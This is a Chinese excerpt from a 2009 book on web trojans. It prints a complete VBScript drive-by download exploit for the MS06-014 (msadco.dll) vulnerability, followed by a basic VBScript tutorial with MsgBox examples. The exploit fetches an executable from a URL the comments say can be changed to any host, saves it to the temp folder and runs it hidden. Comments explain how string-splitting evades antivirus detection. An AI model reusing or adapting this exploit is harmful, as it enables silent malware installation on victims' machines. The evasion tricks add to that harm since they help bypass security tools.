分析用VBScript编写的网页木马
网页木马不仅跟JavaScript有关,有些网页木马还可用VBScript编写,下面即是使用HTML和VBScript编写的MS06014的网页木马。
<html>
<script language="VBScript">
on error resume next '防错代码
dl = "hxxp://127.0.0.1/test.exe" '木马远程下载地址,可以将127.0.0.1改成其他
Set df = document.createElement("object") '创建项目
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
'对此项目进行编码
'注意:clsid:XXXX这一串是微软06014远程执行代码漏洞(msadco.dll)
str="Microsoft.XMLHTTP" '创建一个XMLHTTP对象
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4 '拆分代码以起到免杀的作用
str5=str1 '调换语句以达到免杀的作用
set S = df.createobject(str5,"") ''创建一个文件流对象
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send '以上步骤只是从网络上下载指定的木马程序
'下面开始在本机执行下载到的木马程序
fname1="Intranet.exe"
‘Intranet.exe是木马本地保存名称
set F = df.createobject("Scripting.FileSystemObject","") '建立一个文件对象
set tmp = F.GetSpecialFolder(2) 'GetSpecialFolder(2) '得到系统临时目录的路径
fname1= F.BuildPath(tmp,fname1) '注入到vip.com
S.open
S.write x.responseBody '把下载的文件写入数据流中
S.savetofile fname1,2 '把数据流存为文件,在系统临时目录里保存为vip.com
S.close
set Q = df.createobject("Shell.Application","")
'请注意这里'createobject("Shell.Application",""),创建一个shell对象
Q.ShellExecute fname1,"","","open",0 '执行刚才下载下来的木马
</script>
</html>
为了能够更好地理解上述代码,并且能够使得读者能够编写出VBScript相关的代码,笔者给大家简单介绍一下VBScript。
VBScript(全称Microsoft Visual Basic Scripting Edition)是程序开发语言Visual Basic家族的最新成员,它将灵活的Script应用于更广泛的领域,包括Microsoft Internet Explorer中的Web客户机Script和Microsoft Internet Information Server中的Web服务器Script。下面给出一个简单的实例:
<html>
<head>
<title>
VBScript代码示例一
</title>
</head>
<body>
<p>第3章 VBScript实例一</p>
<script type="text/vbscript">
MsgBox("Hello,Everyone!")
</script>
</body>
</html>
将上述代码保存为一个html格式的文件,并用IE打开,读者可以看到如图3.53所示的运行情况。
图3.53 运行情况
单击安全性提示,允许ActiveX控件运行,我们则可以看到如图3.54所示的情况,在网页中插入VBSscript语句,应使用<script>。<script>这个tag有个属性叫type,type="text/vbscript"表示插入<script></script>其中的VBScript语句。
图3.54 VBScript执行
从上面的实例中,读者可以看到VBScript程序可以写在网页的<body></body>里,当然VBScript程序还可以写在网页的<head></head>里,以下是一个VBScript代码放在Head中的示例:
<html>
<head>
<title>VBScript代码放在Head中</title>
<script type="text/vbscript">
MsgBox("Hello,Everyone!")
</script>
</head>
<body>
<p>第三章 VBScript实例二。</p>
</body>
</html>
允许结果如图3.55所示,每当页面载入的时候都会弹出“Hello Everyone”的窗口。
图3.55 VBScript代码放在Head中
VBScript可以放在网页的任何地方(Body或Head)。不过最好尽可能地将所有的脚本代码放在Head部分里,以使所有脚本代码集中放置。而且可以确保在调用脚本代码之前,所有的脚本代码都已经被读取并解码。
本文节选自电子工业出版社2009年5月出版的 《网页木马攻防实战》一书。
到当当网购买
到卓越网购买
到china-pub购买
浏览更多精彩文章>>
订阅软件安全电子期刊>>